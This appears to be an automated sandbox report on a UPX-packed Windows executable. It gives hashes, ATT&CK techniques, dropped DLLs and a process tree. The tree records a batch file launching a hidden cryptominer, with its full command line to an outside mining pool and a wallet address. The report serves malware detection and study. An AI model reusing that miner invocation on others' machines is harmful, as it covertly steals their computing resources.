73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18-02-2024 06:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2664	b2e.exe
4168	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe
4168	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3916-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3916 wrote to memory of 2664	3916	batexe.exe	84
PID 3916 wrote to memory of 2664	3916	batexe.exe	84
PID 3916 wrote to memory of 2664	3916	batexe.exe	84
PID 2664 wrote to memory of 2024	2664	b2e.exe	85
PID 2664 wrote to memory of 2024	2664	b2e.exe	85
PID 2664 wrote to memory of 2024	2664	b2e.exe	85
PID 2024 wrote to memory of 4168	2024	cmd.exe	88
PID 2024 wrote to memory of 4168	2024	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Users\Admin\AppData\Local\Temp\9C7E.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9C7E.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9C7E.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A3C2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2024
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\9C7E.tmp\b2e.exe

Filesize
9.7MB

MD5
1c8d7277016260e3b24a6f6bd4847e45

SHA1
11d34f1d0aadbbff8de85ceb6a77a5e7d226a1b3

SHA256
033b1a1bcd8589c3f004ab36fb971a4cdfe4c834ff085bb867e9469016c11025

SHA512
46f6a73ba9773fc60c4df6f961351bf614f1ee0767781e5b9495f432dd2ddc9219bfddfd2b468462de478651c0db325e4866b4482306599dceb68837ad594960

Download Submit
C:\Users\Admin\AppData\Local\Temp\9C7E.tmp\b2e.exe

Filesize
4.0MB

MD5
aaccfeb6b403d00b1fc11f67c4a0d267

SHA1
84f2f44267e59402dde5facaef5ff4c8bd6663e0

SHA256
901daabb081029ad3c55c3d7609b7c6539c0107bcc5caeb5574d0b4906cd2804

SHA512
45b99626a2fc25ada8db7f107641f9772e91684aceab63f75692d5e678dde9c101af26ad584737d7002421101eff9560ad0acd941447ba0e41ccd3611b9625df

Download Submit
C:\Users\Admin\AppData\Local\Temp\9C7E.tmp\b2e.exe

Filesize
3.6MB

MD5
2a58aa86deac2c99323c788735dd53af

SHA1
eeac6b8cceb22a47daa1590f4dbae8e3c7c27c92

SHA256
fbd061c4d55ef74a2b1fbefa8f244ffb9e63df4a7f16083d7a9920fee83a0305

SHA512
22598586f1fc5ef20ddc7f840402716a660917caa0f26628eb943928d458688f698e66094d3cf2cd6865baa1b32ba61d1e05103abfafe98e72d30668a6b7ec57

Download Submit
C:\Users\Admin\AppData\Local\Temp\A3C2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
448KB

MD5
ca0b33f54480aa9c590d09f72e3feb31

SHA1
d50dc7dd964feb0d7516c3037e7dc7e008420ae5

SHA256
67833a9e63d8b7469a3a3415124a2426893a6174ce2bd88bea520c68319d182d

SHA512
266dcd9c5bfe2b117fda6bf7c4250a908233d8474bd0b09596a0bd0fa2e5bc75446a20b46cb7e516ef75b5661bbe16c714e8dcc5962a0f481cbaecdf6135affd

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
d6a2651ce86560ec77259efc3df246fa

SHA1
1e72d8e5049a66e1f257d00847fae193c2f8bb02

SHA256
1703f2c16ca81fd8d53d899d0c191db61af986281cdaf3939e9aafcb2aa377a6

SHA512
eece650394d481935c42793702efa7220ae51d92e50dde346b62026d1946418011f665dabe217b6e775b79d65b7580652299a816961a23880abff400ee14201b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c89e863ce2221a0f49b45a55100e468c

SHA1
569ede311983a53a8f23f254fe37735538cbfa5e

SHA256
5ca5fb55f2e5ddee30c893b0e78d1ad59f593c2c3e5ecc155f14a088c65cfb46

SHA512
f65476f7353ef6ca7378752551c28736b61916cbf54f0a17b211a5a14ab93ddc2830a1d9c3cc1118117a23be95d49b06fc8a174d1a87f360ae4b96a6bbde04b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
55df8ff354e8bb2866a0e30564843daa

SHA1
9c6ceacc4f3c639361e30f52d63a0783476804e0

SHA256
a06a18b11831a80075c39b540f836e096e2cb393726303982c1dc0b03e25e50a

SHA512
c031830c12dae98d2d6afacbe4d6eec4662d4555cab46abdbe4e83f75a76c1be7bcd3fb55378641bcb417236eb451b33556d067b1ede59e6b2ca3607c0af1237

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
e5ad741b50e51cfb77f8bc80e669acf4

SHA1
19a1ecff5b7aa7008d0b1d70dc2aa4b1b2ed9e86

SHA256
c9edf0f5691a3cab0fbf0d94c28b2dccb6e155e541a871b29873aeeb1a7f1c1d

SHA512
1342b8d883586a5946bf83d6e31a4a078dcce1651a0ed2eabe3d539adb1a3b0c14f821161f82b228a3d3814bf39bbc401ffd5128c80805afd8cd4b37bbf04e63

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
968KB

MD5
71970353101209c5cda3134913406b75

SHA1
7ea911b7285806462228cf562274836910cc4a94

SHA256
07ec11c6119683b0f2851a3c75a739707e4c190c5d5e0dceffa9894ae765dc9a

SHA512
90943818980cc6dee2490f5429378a80d0d30f99fe0a895f5e62acff11da95bfc086ea62ae3e7dbd4997264392a7eb461e5f58f641b69e1b6c9c81d86be687a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2664-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2664-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3916-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4168-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4168-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-46-0x000000005EC90000-0x000000005ED28000-memory.dmp

Filesize
608KB

Download
memory/4168-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4168-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4168-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4168-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download